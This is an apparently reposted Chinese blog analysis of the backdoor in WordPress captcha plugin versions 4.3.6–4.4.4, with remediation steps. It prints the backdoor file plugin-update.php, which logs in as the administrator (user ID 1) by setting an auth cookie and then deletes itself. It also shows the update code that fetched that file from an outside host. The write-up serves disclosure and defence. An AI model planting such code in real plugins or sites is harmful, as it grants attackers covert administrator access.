Captcha插件后门分析和修复
0×00 前言
近日看到網(wǎng)上爆出wordpress官方插件captcha出現(xiàn)后門,大驚,本人當(dāng)初千辛萬苦找驗證碼插件,在十幾個插件中選了這款,感覺還挺好用,竟然爆后門,趕緊去博客 排查,還好由于安裝比較早,并沒發(fā)現(xiàn)后門,發(fā)文紀念一下這次差點中招……
0×01 概述
據(jù)說這個后門是偶然被發(fā)現(xiàn)的,是因為含后門版本的作者對使用wordpress商標(biāo)的問題,接著wordpress把captcha下架,繼而wordfence(為wordpress提供waf的廠商)檢查發(fā)現(xiàn)插件后門。
這個后門是更新觸發(fā),從4.3.6版本開始(本人安裝的版本)就有后門,執(zhí)行插件更新就會加入后門代碼。這個后門利用userID(admin)創(chuàng)建會話,設(shè)置認證cookie,接著刪除痕跡,后門是管理員權(quán)限,但是由于執(zhí)行了unlink(__FILE__),所以只能被用一次。
0×02 影響范圍
有300000+活躍安裝
后門首次發(fā)現(xiàn)在12月4日的4.3.6版本,官方在12月20日刪除該后門,所以4日到20日更新該插件的用戶都必然被植入了后門(幸好本人不(lan)常(de)更新)。
受影響版本:4.3.6~4.4.4
0×03 后門分析
這里利用12月4日的4.3.6版本的源碼分析
https://plugins.trac.wordpress.org/changeset/1780758/captcha
Captcha.php:
首先看看cptch_wp_plugin_auto_update()函數(shù),由函數(shù)名可以看出這是自動更新功能,其中$wptuts_plugin_remote_path = ’https://simplywordpress.net/captcha/captcha_pro_update.php‘;
請求這個文件會下載zip對該插件更新,但是本人訪問已經(jīng)空白無下載(20171222)。
繼續(xù)往下到8394行:
if(isset($_GET['captcha']) and? $_GET['captcha'] == 'updateplugin')
{
add_action('init', 'cptch_wp_plugin_auto_update');
}
表示點擊更新則調(diào)用cptch_wp_plugin_auto_update()函數(shù)。
看看8390行 ?
new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);
那就進入cptch_wp_auto_update這個類看看。
cptch_wp_auto_update.php:
一堆賦值后進入 if($this->cptch_check_update())執(zhí)行更新
那就來到cptch_check_update()函數(shù)看看
關(guān)鍵代碼:
$url = $this->update_path; // Local Zip File Path
curl_setopt($ch, CURLOPT_URL, $url);
$page = curl_exec($ch);
接著解壓更新
activate_plugins($my_plugin);
更新的zip內(nèi)存在后門文件
plugin-update.php:
關(guān)鍵代碼:
@unlink(__FILE__);
require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie? ( $user->ID );
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
exit();
}
Unlink(__FILE__):刪除自己
Get_userdata(1):獲取管理員信息
Wp_clear_auth_cookie():移除關(guān)聯(lián)認證的cookie
Wp_set_current_user():改變當(dāng)前用戶
Wp_set_auth_cookie():根據(jù)userID設(shè)置認證cookie
接著攻擊者就以管理員進入后臺。
0×04 修復(fù)方案
??? 1.刪除后門文件plugin-update.php。
??? 2.查看captcha.php是否有后門鏈接,有則手動刪除插件再安裝最新版本。
??? 3.更新到最新版本。
轉(zhuǎn)載于:https://www.cnblogs.com/heikeboke/p/8126560.html
總結(jié)
以上是生活随笔為你收集整理的Captcha插件后门分析和修复的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 特斯拉上海员工奖金大涨?官方:人数众多
- 下一篇: Vagrant+VirtualBox版本